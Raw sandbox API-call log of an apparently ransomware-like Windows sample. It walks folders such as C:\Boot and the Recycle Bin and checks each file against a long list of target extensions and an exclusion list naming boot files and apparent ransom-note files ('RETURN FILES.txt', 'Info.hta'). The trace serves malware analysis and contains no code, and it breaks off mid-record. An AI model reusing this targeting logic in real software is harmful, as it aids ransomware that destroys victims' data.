(lpString1=".flv", lpString2=".ini") returned -1 [0074.010] lstrlenW (lpString=".frm") returned 4 [0074.010] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0074.010] lstrlenW (lpString=".fxg") returned 4 [0074.010] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0074.010] lstrlenW (lpString=".geo") returned 4 [0074.010] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0074.010] lstrlenW (lpString=".gif") returned 4 [0074.010] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0074.010] lstrlenW (lpString=".grs") returned 4 [0074.010] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0074.010] lstrlenW (lpString=".gz") returned 3 [0074.010] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0074.010] lstrlenW (lpString=".h") returned 2 [0074.010] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0074.010] lstrlenW (lpString=".hdr") returned 4 [0074.011] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0074.011] lstrlenW (lpString=".hpp") returned 4 [0074.011] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0074.011] lstrlenW (lpString=".hta") returned 4 [0074.011] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0074.011] lstrlenW (lpString=".htc") returned 4 [0074.011] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0074.011] lstrlenW (lpString=".htm") returned 4 [0074.011] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0074.011] lstrlenW (lpString=".html") returned 5 [0074.011] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0074.011] lstrlenW (lpString=".icb") returned 4 [0074.011] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0074.011] lstrlenW (lpString=".ics") returned 4 [0074.011] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0074.011] lstrlenW (lpString=".iff") returned 4 [0074.011] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0074.011] lstrlenW (lpString=".inc") returned 4 [0074.011] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0074.011] lstrlenW (lpString=".indd") returned 5 [0074.011] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0074.011] lstrlenW (lpString=".ini") returned 4 [0074.012] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0074.012] lstrlenW (lpString="desktop.ini") returned 11 [0074.012] lstrlenW (lpString=".data") returned 5 [0074.012] lstrcmpiW (lpString1=".data", lpString2="p.ini") returned -1 [0074.012] lstrlenW (lpString="desktop.ini") returned 11 [0074.012] lstrcmpiW (lpString1="boot.ini", lpString2="desktop.ini") returned -1 [0074.012] lstrcmpiW (lpString1="bootfont.bin", lpString2="desktop.ini") returned -1 [0074.012] lstrcmpiW (lpString1="ntldr", lpString2="desktop.ini") returned 1 [0074.012] lstrcmpiW (lpString1="ntdetect.com", lpString2="desktop.ini") returned 1 [0074.012] lstrcmpiW (lpString1="io.sys", lpString2="desktop.ini") returned 1 [0074.012] lstrcmpiW (lpString1="RETURN FILES.txt", lpString2="desktop.ini") returned 1 [0074.012] lstrcmpiW (lpString1="Info.hta", lpString2="desktop.ini") returned 1 [0074.012] lstrcmpiW (lpString1="winhost.exe", lpString2="desktop.ini") returned 1 [0074.012] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0074.012] FindNextFileW (in: hFindFile=0x603028, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0074.012] FindClose (in: hFindFile=0x603028 | out: hFindFile=0x603028) returned 1 [0074.013] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3910090 | out: hHeap=0x5b0000) returned 1 [0074.013] FindNextFileW (in: hFindFile=0x602fe8, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0074.013] FindClose (in: hFindFile=0x602fe8 | out: hFindFile=0x602fe8) returned 1 [0074.013] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3900088 | out: hHeap=0x5b0000) returned 1 [0074.013] FindNextFileW (in: hFindFile=0x603d60, lpFindFileData=0x340fd00 | out: lpFindFileData=0x340fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0074.013] lstrlenW (lpString="C:\\Boot") returned 7 [0074.013] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0074.013] lstrlenW (lpString="Boot") returned 4 [0074.013] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0074.013] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3900088 [0074.014] lstrlenW (lpString="C:\\Boot") returned 7 [0074.014] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x602fe8 [0074.014] FindNextFileW (in: hFindFile=0x602fe8, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.014] FindNextFileW (in: hFindFile=0x602fe8, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x90cd45e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x90cd45e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0074.014] lstrlenW (lpString="BCD") returned 3 [0074.014] lstrlenW (lpString=".1cd") returned 4 [0074.014] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0074.015] lstrlenW (lpString=".3ds") returned 4 [0074.015] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0074.015] lstrlenW (lpString=".3fr") returned 4 [0074.015] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0074.015] lstrlenW (lpString=".3g2") returned 4 [0074.015] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0074.015] lstrlenW (lpString=".3gp") returned 4 [0074.015] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0074.015] lstrlenW (lpString=".7z") returned 3 [0074.015] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0074.015] lstrlenW (lpString=".accda") returned 6 [0074.015] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0074.015] lstrlenW (lpString=".accdb") returned 6 [0074.015] lstrcmpiW (lpString1=".accdb", lpString2="") returned 1 [0074.015] lstrlenW (lpString=".accdc") returned 6 [0074.015] lstrcmpiW (lpString1=".accdc", lpString2="") returned 1 [0074.015] lstrlenW (lpString=".accde") returned 6 [0074.015] lstrcmpiW (lpString1=".accde", lpString2="") returned 1 [0074.015] lstrlenW (lpString=".accdt") returned 6 [0074.015] lstrcmpiW (lpString1=".accdt", lpString2="") returned 1 [0074.015] lstrlenW (lpString=".accdw") returned 6 [0074.015] lstrcmpiW (lpString1=".accdw", lpString2="") returned 1 [0074.015] lstrlenW (lpString=".adb") returned 4 [0074.015] lstrcmpiW (lpString1=".adb", lpString2="") returned 1 [0074.015] lstrlenW (lpString=".adp") returned 4 [0074.015] lstrcmpiW (lpString1=".adp", lpString2="") returned 1 [0074.016] lstrlenW (lpString=".ai") returned 3 [0074.016] lstrcmpiW (lpString1=".ai", lpString2="BCD") returned -1 [0074.016] lstrlenW (lpString=".ai3") returned 4 [0074.016] lstrcmpiW (lpString1=".ai3", lpString2="") returned 1 [0074.016] lstrlenW (lpString=".ai4") returned 4 [0074.016] lstrcmpiW (lpString1=".ai4", lpString2="") returned 1 [0074.016] lstrlenW (lpString=".ai5") returned 4 [0074.016] lstrcmpiW (lpString1=".ai5", lpString2="") returned 1 [0074.016] lstrlenW (lpString=".ai6") returned 4 [0074.016] lstrcmpiW (lpString1=".ai6", lpString2="") returned 1 [0074.016] lstrlenW (lpString=".ai7") returned 4 [0074.016] lstrcmpiW (lpString1=".ai7", lpString2="") returned 1 [0074.016] lstrlenW (lpString=".ai8") returned 4 [0074.016] lstrcmpiW (lpString1=".ai8", lpString2="") returned 1 [0074.016] lstrlenW (lpString=".anim") returned 5 [0074.016] lstrcmpiW (lpString1=".anim", lpString2="") returned 1 [0074.016] lstrlenW (lpString=".arw") returned 4 [0074.016] lstrcmpiW (lpString1=".arw", lpString2="") returned 1 [0074.016] lstrlenW (lpString=".as") returned 3 [0074.016] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1 [0074.016] lstrlenW (lpString=".asa") returned 4 [0074.016] lstrcmpiW (lpString1=".asa", lpString2="") returned 1 [0074.016] lstrlenW (lpString=".asc") returned 4 [0074.016] lstrcmpiW (lpString1=".asc", lpString2="") returned 1 [0074.016] lstrlenW (lpString=".ascx") returned 5 [0074.016] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1 [0074.016] lstrlenW (lpString=".asm") returned 4 [0074.017] lstrcmpiW (lpString1=".asm", lpString2="") returned 1 [0074.017] lstrlenW (lpString=".asmx") returned 5 [0074.017] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1 [0074.017] lstrlenW (lpString=".asp") returned 4 [0074.017] lstrcmpiW (lpString1=".asp", lpString2="") returned 1 [0074.017] lstrlenW (lpString=".aspx") returned 5 [0074.017] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1 [0074.017] lstrlenW (lpString=".asr") returned 4 [0074.017] lstrcmpiW (lpString1=".asr", lpString2="") returned 1 [0074.017] lstrlenW (lpString=".asx") returned 4 [0074.017] lstrcmpiW (lpString1=".asx", lpString2="") returned 1 [0074.017] lstrlenW (lpString=".avi") returned 4 [0074.017] lstrcmpiW (lpString1=".avi", lpString2="") returned 1 [0074.017] lstrlenW (lpString=".avs") returned 4 [0074.017] lstrcmpiW (lpString1=".avs", lpString2="") returned 1 [0074.017] lstrlenW (lpString=".backup") returned 7 [0074.017] lstrcmpiW (lpString1=".backup", lpString2="") returned 1 [0074.017] lstrlenW (lpString=".bak") returned 4 [0074.017] lstrcmpiW (lpString1=".bak", lpString2="") returned 1 [0074.017] lstrlenW (lpString=".bay") returned 4 [0074.017] lstrcmpiW (lpString1=".bay", lpString2="") returned 1 [0074.017] lstrlenW (lpString=".bd") returned 3 [0074.017] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1 [0074.017] lstrlenW (lpString=".bin") returned 4 [0074.017] lstrcmpiW (lpString1=".bin", lpString2="") returned 1 [0074.017] lstrlenW (lpString=".bmp") returned 4 [0074.018] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1 [0074.018] lstrlenW (lpString=".bz2") returned 4 [0074.018] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1 [0074.018] lstrlenW (lpString=".c") returned 2 [0074.018] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1 [0074.018] lstrlenW (lpString=".cdr") returned 4 [0074.018] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1 [0074.018] lstrlenW (lpString=".cer") returned 4 [0074.018] lstrcmpiW (lpString1=".cer", lpString2="") returned 1 [0074.018] lstrlenW (lpString=".cf") returned 3 [0074.018] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1 [0074.018] lstrlenW (lpString=".cfc") returned 4 [0074.018] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1 [0074.018] lstrlenW (lpString=".cfm") returned 4 [0074.018] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1 [0074.018] lstrlenW (lpString=".cfml") returned 5 [0074.018] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1 [0074.018] lstrlenW (lpString=".cfu") returned 4 [0074.018] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1 [0074.018] lstrlenW (lpString=".chm") returned 4 [0074.018] lstrcmpiW (lpString1=".chm", lpString2="") returned 1 [0074.018] lstrlenW (lpString=".cin") returned 4 [0074.018] lstrcmpiW (lpString1=".cin", lpString2="") returned 1 [0074.018] lstrlenW (lpString=".class") returned 6 [0074.019] lstrcmpiW (lpString1=".class", lpString2="") returned 1 [0074.019] lstrlenW (lpString=".clx") returned 4 [0074.019] lstrcmpiW (lpString1=".clx", lpString2="") returned 1 [0074.019] lstrlenW (lpString=".config") returned 7 [0074.019] lstrcmpiW (lpString1=".config", lpString2="") returned 1 [0074.019] lstrlenW (lpString=".cpp") returned 4 [0074.019] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1 [0074.019] lstrlenW (lpString=".cr2") returned 4 [0074.019] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1 [0074.019] lstrlenW (lpString=".crt") returned 4 [0074.019] lstrcmpiW (lpString1=".crt", lpString2="") returned 1 [0074.019] lstrlenW (lpString=".crw") returned 4 [0074.019] lstrcmpiW (lpString1=".crw", lpString2="") returned 1 [0074.019] lstrlenW (lpString=".cs") returned 3 [0074.019] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1 [0074.019] lstrlenW (lpString=".css") returned 4 [0074.019] lstrcmpiW (lpString1=".css", lpString2="") returned 1 [0074.019] lstrlenW (lpString=".csv") returned 4 [0074.019] lstrcmpiW (lpString1=".csv", lpString2="") returned 1 [0074.019] lstrlenW (lpString=".cub") returned 4 [0074.019] lstrcmpiW (lpString1=".cub", lpString2="") returned 1 [0074.019] lstrlenW (lpString=".dae") returned 4 [0074.019] lstrcmpiW (lpString1=".dae", lpString2="") returned 1 [0074.019] lstrlenW (lpString=".dat") returned 4 [0074.019] lstrcmpiW (lpString1=".dat", lpString2="") returned 1 [0074.019] lstrlenW (lpString=".db") returned 3 [0074.019] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1 [0074.020] lstrlenW (lpString=".dbf") returned 4 [0074.020] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1 [0074.020] lstrlenW (lpString=".dbx") returned 4 [0074.020] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1 [0074.020] lstrlenW (lpString=".dc3") returned 4 [0074.020] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1 [0074.020] lstrlenW (lpString=".dcm") returned 4 [0074.020] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1 [0074.020] lstrlenW (lpString=".dcr") returned 4 [0074.020] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1 [0074.020] lstrlenW (lpString=".der") returned 4 [0074.020] lstrcmpiW (lpString1=".der", lpString2="") returned 1 [0074.020] lstrlenW (lpString=".dib") returned 4 [0074.020] lstrcmpiW (lpString1=".dib", lpString2="") returned 1 [0074.020] lstrlenW (lpString=".dic") returned 4 [0074.020] lstrcmpiW (lpString1=".dic", lpString2="") returned 1 [0074.020] lstrlenW (lpString=".dif") returned 4 [0074.020] lstrcmpiW (lpString1=".dif", lpString2="") returned 1 [0074.020] lstrlenW (lpString=".divx") returned 5 [0074.020] lstrcmpiW (lpString1=".divx", lpString2="") returned 1 [0074.020] lstrlenW (lpString=".djvu") returned 5 [0074.020] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1 [0074.020] lstrlenW (lpString=".dng") returned 4 [0074.020] lstrcmpiW (lpString1=".dng", lpString2="") returned 1 [0074.020] lstrlenW (lpString=".doc") returned 4 [0074.020] lstrcmpiW (lpString1=".doc", lpString2="") returned 1 [0074.021] lstrlenW (lpString=".docm") returned 5 [0074.021] lstrcmpiW (lpString1=".docm", lpString2="") returned 1 [0074.021] lstrlenW (lpString=".docx") returned 5 [0074.021] lstrcmpiW (lpString1=".docx", lpString2="") returned 1 [0074.021] lstrlenW (lpString=".dot") returned 4 [0074.021] lstrcmpiW (lpString1=".dot", lpString2="") returned 1 [0074.021] lstrlenW (lpString=".dotm") returned 5 [0074.021] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1 [0074.021] lstrlenW (lpString=".dotx") returned 5 [0074.021] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1 [0074.021] lstrlenW (lpString=".dpx") returned 4 [0074.021] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1 [0074.021] lstrlenW (lpString=".dqy") returned 4 [0074.021] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1 [0074.021] lstrlenW (lpString=".dsn") returned 4 [0074.021] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1 [0074.021] lstrlenW (lpString=".dt") returned 3 [0074.021] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1 [0074.021] lstrlenW (lpString=".dtd") returned 4 [0074.021] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1 [0074.021] lstrlenW (lpString=".dwg") returned 4 [0074.021] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1 [0074.021] lstrlenW (lpString=".dwt") returned 4 [0074.021] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1 [0074.021] lstrlenW (lpString=".dx") returned 3 [0074.021] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1 [0074.021] lstrlenW (lpString=".dxf") returned 4 [0074.022] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1 [0074.022] lstrlenW (lpString=".edml") returned 5 [0074.022] lstrcmpiW (lpString1=".edml", lpString2="") returned 1 [0074.022] lstrlenW (lpString=".efd") returned 4 [0074.022] lstrcmpiW (lpString1=".efd", lpString2="") returned 1 [0074.022] lstrlenW (lpString=".elf") returned 4 [0074.022] lstrcmpiW (lpString1=".elf", lpString2="") returned 1 [0074.022] lstrlenW (lpString=".emf") returned 4 [0074.022] lstrcmpiW (lpString1=".emf", lpString2="") returned 1 [0074.022] lstrlenW (lpString=".emz") returned 4 [0074.022] lstrcmpiW (lpString1=".emz", lpString2="") returned 1 [0074.022] lstrlenW (lpString=".epf") returned 4 [0074.022] lstrcmpiW (lpString1=".epf", lpString2="") returned 1 [0074.022] lstrlenW (lpString=".eps") returned 4 [0074.022] lstrcmpiW (lpString1=".eps", lpString2="") returned 1 [0074.022] lstrlenW (lpString=".epsf") returned 5 [0074.022] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1 [0074.022] lstrlenW (lpString=".epsp") returned 5 [0074.022] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1 [0074.022] lstrlenW (lpString=".erf") returned 4 [0074.022] lstrcmpiW (lpString1=".erf", lpString2="") returned 1 [0074.022] lstrlenW (lpString=".exr") returned 4 [0074.022] lstrcmpiW (lpString1=".exr", lpString2="") returned 1 [0074.022] lstrlenW (lpString=".f4v") returned 4 [0074.022] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1 [0074.023] lstrlenW (lpString=".fido") returned 5 [0074.023] lstrcmpiW (lpString1=".fido", lpString2="") returned 1 [0074.023] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3910090 [0074.023] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x603350 [0074.074] FindNextFileW (in: hFindFile=0x603350, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.074] FindNextFileW (in: hFindFile=0x603350, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.074] FindClose (in: hFindFile=0x603350 | out: hFindFile=0x603350) returned 1 [0074.074] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3910090 | out: hHeap=0x5b0000) returned 1 [0074.074] FindNextFileW (in: hFindFile=0x602fe8, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0074.075] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3910090 [0074.075] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x603350 [0074.075] FindNextFileW (in: hFindFile=0x603350, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.075] FindNextFileW (in: hFindFile=0x603350, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.076] FindClose (in: hFindFile=0x603350 | out: hFindFile=0x603350) returned 1 [0074.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3910090 | out: hHeap=0x5b0000) returned 1 [0074.076] FindNextFileW (in: hFindFile=0x602fe8, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0074.077] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xfffe) returned 0x3910090 [0074.077] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x603350 [0074.077] FindNextFileW (in: hFindFile=0x603350, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0074.077] FindNextFileW (in: hFindFile=0x603350, lpFindFileData=0x340f808 | out: lpFindFileData=0x340f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0074.077] FindClose (in: hFindFile=0x603350 | out: hFindFile=0x603350) returned 1 [0074.078] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3910090 | out: hHeap=0x5b0000) returned 1 [0074.078] FindNextFileW (in: hFindFile=0x602fe8, lpFindFileData=0x340fa84 | out: lpFindFileData=0x340fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", 